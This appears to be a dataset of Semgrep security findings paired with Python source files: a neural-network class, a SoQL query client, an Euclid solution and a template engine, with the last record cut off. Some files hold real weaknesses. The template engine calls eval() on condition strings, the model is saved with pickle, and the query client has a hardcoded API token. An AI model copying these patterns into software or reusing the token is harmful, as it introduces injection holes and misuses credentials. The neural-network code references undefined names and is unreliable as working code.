[{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_bbdbbc32cf01cb2e_a79b24ae", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 12, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/bbdbbc32cf01cb2e.py", "start": {"line": 8, "col": 12, "offset": 112}, "end": {"line": 8, "col": 18, "offset": 118}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.exec-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 8 ]
[ 8 ]
[ 12 ]
[ 18 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
temp_display.py
/src/temp_display.py
LLNT/3X-Project
MIT
2024-11-18T18:59:37.115418+00:00
1,613,983,506,000
cb29b50b92d78ae271482bf5bd67b09e0c87512d
3
{ "blob_id": "cb29b50b92d78ae271482bf5bd67b09e0c87512d", "branch_name": "refs/heads/main", "committer_date": 1613983506000, "content_id": "cef0983fb9fb5ac5fae6765b5c97a66d232db152", "detected_licenses": [ "MIT" ], "directory_id": "357aee5b738c06e7127ca0473a0a69c1637f034a", "extension": "py", "filename": "neural_network.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 341129468, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8024, "license": "MIT", "license_type": "permissive", "path": "/Layers/neural_network.py", "provenance": "stack-edu-0054.json.gz:569275", "repo_name": "rjnp2/deep_learning_from_scratch", "revision_date": 1613983506000, "revision_id": "9983379e5ec95ec497a62af182c16264cf737323", "snapshot_id": "845c74a69dd0f705ccab419e213b3ec65aaaf5be", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/rjnp2/deep_learning_from_scratch/9983379e5ec95ec497a62af182c16264cf737323/Layers/neural_network.py", "visit_date": "2023-03-06T16:55:33.683908" }
2.921875
stackv2
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Oct 2 15:13:41 2020 @author: rjn """ from deeplearning.utils import batch_iterator from tabulate import tabulate import sys from tqdm import tqdm import time import datetime import pickle import cupy as cp import numpy as np class NeuralNetwork(): """Neural Network. Deep Learning base model. Parameters: ----------- optimizer: class The weight optimizer that will be used to tune the weights in order of minimizing the loss. loss: class Loss function used to measure the model's performance. """ def __init__(self, optimizer, loss): self.optimizer = optimizer self.layers = [] self.errors = {"training": [], "validation": []} self.loss_function = loss() def set_trainable(self, trainable): """ Method which enables freezing of the weights of the network's layers.""" for layer in self.layers: layer.trainable = trainable def add(self, layer): """ Method which adds a layer to the neural network """ # If this is not the first layer added then set the input shape # to the output shape of the last added layer if self.layers: layer.set_input_shape(shape=self.layers[-1].determin_output_shape()) layer.valid_layer() # If the layer has weights that needs to be initialized if hasattr(layer, 'initialize'): layer.initialize(optimizer=self.optimizer) # Add layer to the network self.layers.append(layer) def test_on_batch(self, X, y): """ Evaluates the model over a single batch of samples """ y_pred = self._forward_pass(cp.asarray(X), training=False) loss = cp.mean(self.loss_function.loss(cp.asarray(y), y_pred)) acc = self.loss_function.acc(y, y_pred) return loss, acc def train_on_batch(self, X, y): """ Single gradient update over one batch of samples """ y_pred = self._forward_pass(cp.asarray(X)) cp.cuda.Stream.null.synchronize() loss = self.loss_function.loss(cp.asarray(y), y_pred) cp.cuda.Stream.null.synchronize() # acc = self.loss_function.acc(y, y_pred) # Calculate the gradient of the loss function wrt y_pred loss_grad = self.loss_function.gradient(cp.asarray(y), y_pred) cp.cuda.Stream.null.synchronize() # # Backpropagate. Update weights self._backward_pass(loss_grad=loss_grad) cp.cuda.Stream.null.synchronize() return loss def fit(self, X, y, n_epochs, batch_size, val_set=None): """ Trains the model for a fixed number of epochs """ for epo in range(1, n_epochs+1): print('n_epochs: ', epo ,end ='\n') batch_error = [] start = time.time() tot = np.round(X.shape[0] / batch_size) i = 0 for X_batch, y_batch in batch_iterator(X, y, batch_size=batch_size): X_batch = X_batch.astype('float32') X_batch = X_batch / 255 y_batch = y_batch.astype('float32') y_batch = (y_batch - 48) / 48 loss = self.train_on_batch(X_batch, y_batch) batch_error.append(loss) t = datetime.timedelta(seconds= (time.time() - start)) i += 1 sys.stdout.write('\r' + 'time: ' + str(t) + ' complete: ' + str(np.round((i/tot),3)) + ' t_loss: ' + str(loss)) self.errors["training"].append(np.mean(batch_error)) print('\t') if val_set is not None: for X_batch, y_batch in batch_iterator(val_set[0], val_set[1], batch_size=batch_size): X_batch = X_batch.astype('float32') X_batch = X_batch / 255 y_batch = y_batch.astype('float32') y_batch = (y_batch - 48) / 48 val_loss, _ = self.test_on_batch(X_batch, y_batch) sys.stdout.write('\r' + ' val_loss:', str(val_loss)) self.errors["validation"].append(val_loss) if save_files: self.save() if callback: callback(self) print() del X,y, X_batch , y_batch , val_set return self.errors["training"], self.errors["validation"] def save(self , name = 'model.pkl'): name = '/home/rjn/Pictures/' + name pickle.dump(self, open(name, 'wb'),pickle.HIGHEST_PROTOCOL) def _forward_pass(self, X, training=True): """ Calculate the output of the NN """ for layer in self.layers: X = layer.forward_pass(X.copy(), training) return X def _backward_pass(self, loss_grad): """ Propagate the gradient 'backwards' and update the weights in each layer """ for layer in reversed(self.layers): loss_grad = layer.backward_pass(loss_grad) def get_weights(self): table_data = np.array([['layer_name', 'parameterW', 'parameterb']]) for n,layer in tqdm(enumerate(self.layers)): parameter = layer.load_parameters() layer_name = layer.layer_name() + '_' + str(n) W = parameter['W'] b = parameter['b'] table_data = np.append( table_data, [[layer_name,W,b]],axis =0) print() print(tabulate(table_data[:,:1],tablefmt="fancy_grid")) return table_data def load_weights(self,loader): for n,values in enumerate(zip(self.layers, loader)): layer = values[0] values = values[1] print(values[0]) shap = layer.load_parameters() if shap is not None: shap = (cp.asarray(shap["W"]).shape , cp.asarray(shap["b"]).shape) print('orig ' , shap) W = cp.asarray(values[1]) b = cp.asarray([]) if values[2] is not None: b = cp.asarray(values[2]) sshap = (W.shape, b.shape) print('loader ' , sshap) if shap == sshap : layer.set_weights((W,b)) shap = layer.load_parameters() shap = (shap["W"].shape , shap["b"].shape) print('after ' , sshap) print() def summary(self, name="Model Summary"): # Print model name # Network input shape (first layer's input shape) # Iterate through network and get each layer's configuration table_data = [ ["Input Shape:", self.layers[0].input_shape], ["Layer Type", "Parameters", "Output Shape"]] tot_params = 0 for n,layer in tqdm(enumerate(self.layers)): layer_name = layer.layer_name() + '_' + str(n) params = layer.parameters() out_shape = layer.determin_output_shape() table_data.append([layer_name, str(params), str(out_shape)]) tot_params += params # Print network configuration table table_data.append(["Total Parameters: ", tot_params ]) print() print(tabulate(table_data,tablefmt="grid")) del table_data def predict(self, X): """ Use the trained model to predict labels of X """ X = cp.asarray(X) / 255 return self._forward_pass(X).get()
234
33.29
102
22
1,721
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_cd4e17849ddc841d_50a1d56c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 139, "column_start": 9, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/cd4e17849ddc841d.py", "start": {"line": 139, "col": 9, "offset": 4697}, "end": {"line": 139, "col": 68, "offset": 4756}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 139 ]
[ 139 ]
[ 9 ]
[ 68 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
neural_network.py
/Layers/neural_network.py
rjnp2/deep_learning_from_scratch
MIT
2024-11-18T18:59:37.343794+00:00
1,445,805,382,000
f64434934d03860bb94a292acddbbab4077f4d2c
2
{ "blob_id": "f64434934d03860bb94a292acddbbab4077f4d2c", "branch_name": "refs/heads/master", "committer_date": 1445805382000, "content_id": "5f0340eb56bc03372bc8037ae43e60b2db16825e", "detected_licenses": [ "MIT" ], "directory_id": "eaaddeb092cb8f4625e86f0ccc8b90515fa3d66e", "extension": "py", "filename": "soql.py", "fork_events_count": 1, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 44878544, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2097, "license": "MIT", "license_type": "permissive", "path": "/api/soql.py", "provenance": "stack-edu-0054.json.gz:569277", "repo_name": "jthidalgojr/greengov2015-TeamAqua", "revision_date": 1445805382000, "revision_id": "a365a9ab3695db308e1e4fd96d58b1d25397265d", "snapshot_id": "9b676b3e1e16fa718548049d7320c6deb0b37637", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/jthidalgojr/greengov2015-TeamAqua/a365a9ab3695db308e1e4fd96d58b1d25397265d/api/soql.py", "visit_date": "2021-01-10T09:25:48.849336" }
2.390625
stackv2
from urllib import request __author__ = 'James' import json import requests from django.http import HttpResponse from django.views import generic from .models import portal import api.soql import urllib.parse import http.client class SoQL: def __init__(self, resourceId): self.resourceId = resourceId self.params = {} #max limit by default self.limit(50000) def _buildRequest(self): return"/resource/" + self.resourceId + ".json?" + urllib.parse.urlencode(self.params) #returns json string from query def execute(self): conn = http.client.HTTPSConnection('greengov.data.ca.gov') conn.request("GET", self._buildRequest(), headers={"X-App-Token": "eZ54Yp2ubYQAEO2IvzxR7pPQu"}) return conn.getresponse().read().decode("utf-8") def filter(self, column, value): self.params[column] = value return self def multiFilter(self, filters): self.params.update(filters) return self def select(self, columns): self.params["$select"] = ",".join(columns) return self def where(self, condition): self.params["$where"] = condition return self #"and" is reserved def And(self, condition): self.params["$where"] += " AND " + condition return self #e.g. {"total_miles": "DESC"} def orderBy(self, columns): columnsFormatted = [k+" "+v for k, v in columns.items()] self.params["$order"] = ",".join(columnsFormatted) return self def groupBy(self, columns): self.params["$group"] = ",".join(columns) return self def limit(self, lim): self.params["$limit"] = str(lim) return self def offset(self, page): self.params["$offset"] = str(page); return self def test(): query = ( SoQL("aazw-6wcw") .filter("disposed","No") .multiFilter({"fuel_type": "EVC"}) .orderBy({"total_miles": "DESC"}) .select(["vin", "agency"]) ) print(query._buildRequest()) print(query.execute())
87
23.1
103
18
510
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.httpsconnection-detected_d1dec74ca54bdee7_4fd861c0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.httpsconnection-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 16, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.httpsconnection-detected", "path": "/tmp/tmpb8jm_z1l/d1dec74ca54bdee7.py", "start": {"line": 32, "col": 16, "offset": 602}, "end": {"line": 32, "col": 67, "offset": 653}, "extra": {"message": "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.", "metadata": {"owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "cwe": ["CWE-295: Improper Certificate Validation"], "references": ["https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-295" ]
[ "rules.python.lang.security.audit.httpsconnection-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 32 ]
[ 32 ]
[ 16 ]
[ 67 ]
[ "A03:2017 - Sensitive Data Exposure" ]
[ "The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnecti...
[ 5 ]
[ "LOW" ]
[ "LOW" ]
soql.py
/api/soql.py
jthidalgojr/greengov2015-TeamAqua
MIT
2024-11-18T18:59:38.748182+00:00
1,617,286,566,000
ef41ce80ef8bb525718ed23c9656b8ddd82b7539
3
{ "blob_id": "ef41ce80ef8bb525718ed23c9656b8ddd82b7539", "branch_name": "refs/heads/main", "committer_date": 1617286566000, "content_id": "7cbce07935d480dfb6af21e0903fe09eed96d03a", "detected_licenses": [ "MIT" ], "directory_id": "a72efcd405595925fd8aeef9ef1cb0c61c57847b", "extension": "py", "filename": "correct.py", "fork_events_count": 0, "gha_created_at": 1617290517000, "gha_event_created_at": 1617290517000, "gha_language": null, "gha_license_id": "MIT", "github_id": 353742649, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 876, "license": "MIT", "license_type": "permissive", "path": "/example_problems/tutorial/number_theory/the_prime_factorization/solutions/correct.py", "provenance": "stack-edu-0054.json.gz:569287", "repo_name": "DottaPaperella/TALight", "revision_date": 1617286566000, "revision_id": "580322c3121c9acde9827f996fd4e39e31d93a6f", "snapshot_id": "18d074606739a2dbd85b1d8e6b8c0945e8616c3c", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/DottaPaperella/TALight/580322c3121c9acde9827f996fd4e39e31d93a6f/example_problems/tutorial/number_theory/the_prime_factorization/solutions/correct.py", "visit_date": "2023-04-10T17:42:56.599986" }
3.109375
stackv2
# Constant declarations YES = 1 NO = 0 def recEuclide(a,b): """returns the triple [d,x,y] where: d is the greatest divisor of a and b; x and y are integers such that xa + yb = d. """ assert a >= 0 and b >= 0 and a + b > 0 if b > a: answ = recEuclide(b,a) return [ answ[0], answ[2], answ[1] ] assert a >= b >= 0 and a > 0 if b == 0 or a == b: return [a, 1, 0] A = a q = A // b a = A % b answ = recEuclide(a,b) # A = bq + a # xa + yb = 1 # xA +(y-xq)b= xbq + xa +yb -xqb return [ answ[0], answ[1], answ[2]-answ[1]*q ] def are_coprime(a, b, give_divisor, give_multipliers): assert a > 0 and b > 0 answ = recEuclide(a,b) if answ[0] == 1: give_multipliers(answ[1], answ[2]) return YES else: give_divisor(answ[0]) return NO
36
23.33
54
11
329
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b3352a249df73cf3_a62de476", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 13, "line_end": 13, "column_start": 9, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 13, "col": 9, "offset": 300}, "end": {"line": 13, "col": 45, "offset": 336}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b3352a249df73cf3_370d1251", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 16, "col": 9, "offset": 407}, "end": {"line": 16, "col": 25, "offset": 423}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b3352a249df73cf3_f3ab6285", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 5, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 24, "col": 5, "offset": 576}, "end": {"line": 24, "col": 51, "offset": 622}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_b3352a249df73cf3_9580ec6e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 35, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/b3352a249df73cf3.py", "start": {"line": 24, "col": 5, "offset": 576}, "end": {"line": 35, "col": 18, "offset": 874}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "", "", "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.code-after-unconditional-return" ]
[ "maintainability", "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 13, 16, 24, 24 ]
[ 13, 16, 24, 35 ]
[ 9, 9, 5, 5 ]
[ 45, 25, 51, 18 ]
[ "", "", "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function", "code after return statement will not be executed" ]
[ 5, 5, 5, 5 ]
[ "", "", "", "" ]
[ "", "", "", "" ]
correct.py
/example_problems/tutorial/number_theory/the_prime_factorization/solutions/correct.py
DottaPaperella/TALight
MIT
2024-11-18T18:59:39.654360+00:00
1,438,457,330,000
164018e3ee2ed78a7a06bcd8da83dde0586b2472
3
{ "blob_id": "164018e3ee2ed78a7a06bcd8da83dde0586b2472", "branch_name": "refs/heads/master", "committer_date": 1438457330000, "content_id": "51077a2a95fc620fa479fc18a63256e627cda92f", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "8e695d33405365e68ffabee6ceeaef9f6af7fa34", "extension": "py", "filename": "engine.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4990, "license": "BSD-2-Clause", "license_type": "permissive", "path": "/textgenerator/engine.py", "provenance": "stack-edu-0054.json.gz:569298", "repo_name": "yespon/text-generator", "revision_date": 1438457330000, "revision_id": "4036c57882805c2b83bf61cfdaeb86bc1cd7c207", "snapshot_id": "e8d62880ac7b44b48e719a6f20613c334ca8d82d", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/yespon/text-generator/4036c57882805c2b83bf61cfdaeb86bc1cd7c207/textgenerator/engine.py", "visit_date": "2020-05-09T19:58:25.544348" }
2.71875
stackv2
# -*- coding: utf-8 -*- import copy import re import random PATTERN_VAR = r"<[^>\n]+>" PATTERN_INCLUDE = r"\[[^\]\n]+\]" PATTERN_FOR_TOKENS = r'>|>=|<|<=|==|or|and|[\w\d]+' def get_sub_tpl_by_name(sub_tpl, name_tpl): for tpl in sub_tpl: if tpl['name'] == name_tpl: return copy.deepcopy(tpl) raise KeyError('not sub tpl name = %s' % name_tpl) def get_text_patterns(tpl, patterns): result = re.finditer(patterns, tpl) variables = [] for match in result: variables.append(match.group()[1:-1].replace(' ', '')) return variables def insert_value_in_tpl(tpl, variables, pattern): pattern = re.compile(pattern) for variable in variables: tpl = pattern.sub(variable, tpl, 1) return tpl def generate_text(context): main_tpls = choice_tpl_by_probability(context['tpls'], context['tpl_vars']) tpl = choice_tpl_by_probability(main_tpls['values'], context['tpl_vars'])['value'] names_sub_tpl = get_text_patterns(tpl, PATTERN_INCLUDE) if names_sub_tpl and context['sub_tpls']: for name in names_sub_tpl: l_sub_tpl = get_sub_tpl_by_name(context['sub_tpls'], name) sub_tpl = choice_tpl_by_probability(l_sub_tpl['values'], context['tpl_vars']) render_sub_tpl = _render(sub_tpl['value'], context) tpl = spintax(insert_value_in_tpl(tpl, [render_sub_tpl], PATTERN_INCLUDE)) return _render(tpl, context) def _render(tpl, context): variables = get_text_patterns(tpl, PATTERN_VAR) render_vars = render_tpl_vars(variables, context) return spintax(insert_value_in_tpl(tpl, render_vars, PATTERN_VAR)) def _fabric_tplengine_functions(name_function, context): try: func = getattr(context['funcs'], name_function) except AttributeError: return None return func def _parse_funcs_and_params(funcs_data): data_var = funcs_data.split('~') funcs = [] variable = data_var.pop(0) for item in data_var: data = item.split(':') func_name = data.pop(0) funcs.append((func_name, data)) return variable, funcs def spintax(value): if isinstance(value, str): value = value.decode('utf8') delimiter = '|' while True: value, count_values = re.subn( '{([^{}]*)}', lambda m: random.choice(m.group(1).split(delimiter)), value ) if count_values == 0: break return value def render_tpl_vars(variables, context): res = variables[:] value_vars = context['tpl_vars'] for i, tpl_var in enumerate(variables): var, funcs = _parse_funcs_and_params(tpl_var) if var in value_vars: render_var = _render_variables_with_funcs(value_vars[var], funcs, context) res[i] = render_var return res def _render_variables_with_funcs(var_value, functions, context): if isinstance(var_value, str): var_value = var_value.decode('utf-8') value = var_value for func in functions: tpl_func = _fabric_tplengine_functions(func[0], context) if tpl_func: value = tpl_func(value, *func[1]) return value def choice_tpl_by_probability(list_tpl, vars_tpl): group = _group_tpl_by_id(list_tpl, vars_tpl) return _choice_from_group_probability(group, random.randint(1, group[1])) def _group_tpl_by_id(list_tpl, vars_tpl): probability_list = [] max_num_probability = 0 for item in list_tpl: if not item.get('conditions', False) or validate_conditions( item.get('conditions'), vars_tpl ): probability = item.get('probability', 1) probability_list.append((max_num_probability, max_num_probability + probability, item)) max_num_probability += probability return probability_list, max_num_probability def _choice_from_group_probability(group_probability, num_probability): probability_list, max_num_probability = group_probability if max_num_probability: for start_prob, end_prob, item in probability_list: if start_prob < num_probability <= end_prob: return item def parse_conditions(tpl_conditions): tokens_compile = re.compile(PATTERN_FOR_TOKENS) tokens = tokens_compile.findall(tpl_conditions) return tokens def replace_var_conditions(token_conditions, vars_data): tokens = token_conditions[:] for i, token in enumerate(tokens): if token in vars_data: tokens[i] = vars_data[token] return tokens def execute_conditions(conditions): cond = ' '.join([str(it) for it in conditions]) try: return eval(cond) except SyntaxError: return False def validate_conditions(tpl_conditions, data_conditions): tokens_conditions = parse_conditions(tpl_conditions) conditions_for_execute = replace_var_conditions(tokens_conditions, data_conditions) return execute_conditions(conditions_for_execute)
170
28.35
99
17
1,137
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_a2a49a52ba56a476_f6852be5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 162, "line_end": 162, "column_start": 16, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/a2a49a52ba56a476.py", "start": {"line": 162, "col": 16, "offset": 4675}, "end": {"line": 162, "col": 26, "offset": 4685}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": 